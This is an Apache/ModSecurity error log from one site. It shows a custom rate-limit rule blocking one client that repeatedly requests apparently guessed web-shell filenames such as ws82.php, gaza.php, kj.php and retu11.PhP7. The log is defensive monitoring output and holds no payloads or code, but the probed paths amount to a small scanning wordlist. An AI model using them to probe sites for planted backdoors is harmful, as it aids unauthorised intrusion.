[Thu Apr 23 21:21:53.281998 2026] [:error] [pid 59700:tid 59705] [client 158.158.123.88:4443] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeoc8ZXyGZJFeAIDWtko_QAAAUM"]
[Thu Apr 23 21:21:53.811849 2026] [:error] [pid 42973:tid 43062] [client 158.158.123.88:26122] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeoc8W6I0QqmmmLTHE0avAAAAJM"]
[Thu Apr 23 21:21:53.913073 2026] [:error] [pid 46953:tid 46976] [client 158.158.123.88:35749] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeoc8UnlpdHh-P6wKbo4_wAAAlQ"]
[Thu Apr 23 21:21:54.367617 2026] [:error] [pid 65000:tid 65032] [client 158.158.123.88:4454] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeoc8r6vRb9j6psK2ZaGKQAAAgM"]
[Thu Apr 23 21:21:54.513973 2026] [:error] [pid 64967:tid 64982] [client 158.158.123.88:36459] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeoc8oAV4GfOOdX8Qzp1eAAAAY0"]
[Thu Apr 23 21:21:54.972329 2026] [:error] [pid 43083:tid 43104] [client 158.158.123.88:36472] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeoc8jC5hrvNXosL83J4PgAAANM"]
[Thu Apr 23 21:21:55.206928 2026] [:error] [pid 64967:tid 64969] [client 158.158.123.88:43189] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeoc84AV4GfOOdX8Qzp1egAAAYA"]
[Thu Apr 23 21:21:55.510109 2026] [:error] [pid 65000:tid 65051] [client 158.158.123.88:36448] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeoc876vRb9j6psK2ZaGLQAAAhI"]
[Thu Apr 23 21:21:55.830484 2026] [:error] [pid 42972:tid 43027] [client 158.158.123.88:4124] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeoc88OAb-3sOknsk4c7oQAAAEs"]
[Thu Apr 23 21:21:56.165586 2026] [:error] [pid 42972:tid 43032] [client 158.158.123.88:36463] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeoc9MOAb-3sOknsk4c7pAAAAFA"]
[Thu Apr 23 21:21:56.469884 2026] [:error] [pid 59700:tid 59726] [client 158.158.123.88:54684] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeoc9JXyGZJFeAIDWtko_wAAAVg"]
[Thu Apr 23 21:21:56.762232 2026] [:error] [pid 59700:tid 59724] [client 158.158.123.88:37009] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeoc9JXyGZJFeAIDWtkpAAAAAVY"]
[Thu Apr 23 21:21:57.023342 2026] [:error] [pid 59700:tid 59704] [client 158.158.123.88:26120] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeoc9ZXyGZJFeAIDWtkpAgAAAUI"]
[Thu Apr 23 21:21:57.262086 2026] [:error] [pid 42972:tid 43035] [client 158.158.123.88:37010] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeoc9cOAb-3sOknsk4c7qAAAAFM"]
[Thu Apr 23 21:21:57.678356 2026] [:error] [pid 65000:tid 65047] [client 158.158.123.88:54682] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeoc9b6vRb9j6psK2ZaGMQAAAg4"]
[Thu Apr 23 21:21:57.853770 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:37042] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeoc9b6vRb9j6psK2ZaGMgAAAhg"]
[Thu Apr 23 21:21:58.442422 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:43139] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeoc9r6vRb9j6psK2ZaGNwAAAgI"]
[Thu Apr 23 21:21:58.629794 2026] [:error] [pid 42972:tid 43020] [client 158.158.123.88:36992] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoc9sOAb-3sOknsk4c7rwAAAEQ"]
[Thu Apr 23 21:21:59.247523 2026] [:error] [pid 42972:tid 43027] [client 158.158.123.88:35717] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeoc98OAb-3sOknsk4c7sQAAAEs"]
[Thu Apr 23 21:21:59.351517 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:46601] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoc976vRb9j6psK2ZaGPQAAAgg"]
[Thu Apr 23 21:21:59.920833 2026] [:error] [pid 65000:tid 65054] [client 158.158.123.88:35722] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoc976vRb9j6psK2ZaGPwAAAhU"]
[Thu Apr 23 21:22:00.080099 2026] [:error] [pid 65000:tid 65045] [client 158.158.123.88:36439] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeoc-L6vRb9j6psK2ZaGQAAAAgw"]
[Thu Apr 23 21:22:00.647978 2026] [:error] [pid 46953:tid 46981] [client 158.158.123.88:35758] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoc-EnlpdHh-P6wKbo5BgAAAlg"]
[Thu Apr 23 21:22:00.678799 2026] [:error] [pid 65000:tid 65053] [client 158.158.123.88:36461] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeoc-L6vRb9j6psK2ZaGRAAAAhQ"]
[Thu Apr 23 21:22:01.444744 2026] [:error] [pid 25635:tid 25652] [client 158.158.123.88:54109] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeoc-cRxv6UsgRGKB3I0KAAAAQ0"]
[Thu Apr 23 21:22:01.449306 2026] [:error] [pid 65000:tid 65032] [client 158.158.123.88:4355] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoc-b6vRb9j6psK2ZaGTAAAAgM"]
[Thu Apr 23 21:22:02.030593 2026] [:error] [pid 59700:tid 59710] [client 158.158.123.88:36449] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeoc-pXyGZJFeAIDWtkpBQAAAUg"]
[Thu Apr 23 21:22:02.051764 2026] [:error] [pid 59700:tid 59719] [client 158.158.123.88:37026] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoc-pXyGZJFeAIDWtkpBgAAAVE"]
[Thu Apr 23 21:22:02.608074 2026] [:error] [pid 64998:tid 65021] [client 158.158.123.88:4419] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeoc-oV5EysYcTLjmwh6uwAAAdM"]
[Thu Apr 23 21:22:02.639736 2026] [:error] [pid 65000:tid 65050] [client 158.158.123.88:54675] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoc-r6vRb9j6psK2ZaGUgAAAhE"]
[Thu Apr 23 21:22:03.215530 2026] [proxy_fcgi:error] [pid 43083:tid 43107] [client 158.158.123.88:35751] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:22:03.439837 2026] [proxy_fcgi:error] [pid 42971:tid 42991] [client 158.158.123.88:4098] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:22:04.243915 2026] [proxy_fcgi:error] [pid 42971:tid 42997] [client 158.158.123.88:4098] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:22:04.244307 2026] [proxy_fcgi:error] [pid 43083:tid 43106] [client 158.158.123.88:35751] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:22:05.394730 2026] [proxy_fcgi:error] [pid 42971:tid 42999] [client 158.158.123.88:4098] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:22:05.395939 2026] [proxy_fcgi:error] [pid 43083:tid 43086] [client 158.158.123.88:35751] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:22:05.639586 2026] [proxy_fcgi:error] [pid 43083:tid 43109] [client 158.158.123.88:35751] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:22:05.644042 2026] [proxy_fcgi:error] [pid 42971:tid 42992] [client 158.158.123.88:4098] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:22:05.982805 2026] [proxy_fcgi:error] [pid 43083:tid 43087] [client 158.158.123.88:35751] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:22:06.202360 2026] [proxy_fcgi:error] [pid 42971:tid 42993] [client 158.158.123.88:4098] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:22:06.237052 2026] [:error] [pid 43083:tid 43099] [client 158.158.123.88:35751] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeoc_jC5hrvNXosL83J4UAAAAM4"]
[Thu Apr 23 21:22:06.440942 2026] [:error] [pid 42971:tid 42994] [client 158.158.123.88:4098] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeoc_jEP2_5RswrH8bErJAAAAAg"]
[Thu Apr 23 21:22:07.028830 2026] [:error] [pid 42972:tid 43029] [client 158.158.123.88:37019] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeoc_8OAb-3sOknsk4c7vQAAAE0"]
[Thu Apr 23 21:22:07.217364 2026] [:error] [pid 42972:tid 43028] [client 158.158.123.88:35771] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeoc_8OAb-3sOknsk4c7vgAAAEw"]
[Thu Apr 23 21:22:08.472067 2026] [:error] [pid 64998:tid 65014] [client 158.158.123.88:54676] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeodAIV5EysYcTLjmwh6xAAAAcw"]
[Thu Apr 23 21:22:08.487230 2026] [:error] [pid 64998:tid 65016] [client 158.158.123.88:36427] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeodAIV5EysYcTLjmwh6xQAAAc4"]
[Thu Apr 23 21:22:09.358916 2026] [:error] [pid 65000:tid 65050] [client 158.158.123.88:43172] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeodAb6vRb9j6psK2ZaGaAAAAhE"]
[Thu Apr 23 21:22:09.472527 2026] [:error] [pid 65000:tid 65039] [client 158.158.123.88:4462] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeodAb6vRb9j6psK2ZaGaQAAAgY"]
[Thu Apr 23 21:22:10.107602 2026] [:error] [pid 42973:tid 43047] [client 158.158.123.88:27494] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aeodAm6I0QqmmmLTHE0axQAAAIQ"]
[Thu Apr 23 21:22:10.446476 2026] [:error] [pid 65000:tid 65040] [client 158.158.123.88:35728] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeodAr6vRb9j6psK2ZaGbgAAAgc"]
[Thu Apr 23 21:22:10.834284 2026] [:error] [pid 59700:tid 59704] [client 158.158.123.88:43147] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aeodApXyGZJFeAIDWtkpDgAAAUI"]
[Thu Apr 23 21:22:11.437941 2026] [:error] [pid 64967:tid 64972] [client 158.158.123.88:35724] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeodA4AV4GfOOdX8Qzp1fQAAAYM"]
[Thu Apr 23 21:22:11.868831 2026] [:error] [pid 42973:tid 43049] [client 158.158.123.88:4451] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aeodA26I0QqmmmLTHE0ayAAAAIY"]
[Thu Apr 23 21:22:11.972833 2026] [:error] [pid 59700:tid 59721] [client 158.158.123.88:37054] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeodA5XyGZJFeAIDWtkpEAAAAVM"]
[Thu Apr 23 21:22:12.581276 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:25500] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeodBL6vRb9j6psK2ZaGfQAAAhA"]
[Thu Apr 23 21:22:12.667991 2026] [:error] [pid 64998:tid 65024] [client 158.158.123.88:37013] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aeodBIV5EysYcTLjmwh6zQAAAdY"]
[Thu Apr 23 21:22:13.384851 2026] [:error] [pid 64967:tid 64971] [client 158.158.123.88:54702] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeodBYAV4GfOOdX8Qzp1fgAAAYI"]
[Thu Apr 23 21:22:13.771320 2026] [:error] [pid 65000:tid 65053] [client 158.158.123.88:37049] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aeodBb6vRb9j6psK2ZaGgQAAAhQ"]
[Thu Apr 23 21:22:14.257799 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:31334] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeodBr6vRb9j6psK2ZaGggAAAhg"]
[Thu Apr 23 21:22:14.463723 2026] [:error] [pid 65000:tid 65039] [client 158.158.123.88:31299] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aeodBr6vRb9j6psK2ZaGhAAAAgY"]
[Thu Apr 23 21:22:15.016198 2026] [:error] [pid 65000:tid 65052] [client 158.158.123.88:46636] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeodB76vRb9j6psK2ZaGhwAAAhM"]
[Thu Apr 23 21:22:15.142101 2026] [:error] [pid 65000:tid 65037] [client 158.158.123.88:47035] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aeodB76vRb9j6psK2ZaGiAAAAgQ"]
[Thu Apr 23 21:22:16.637116 2026] [:error] [pid 64998:tid 65013] [client 158.158.123.88:26759] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aeodCIV5EysYcTLjmwh60AAAAcs"]
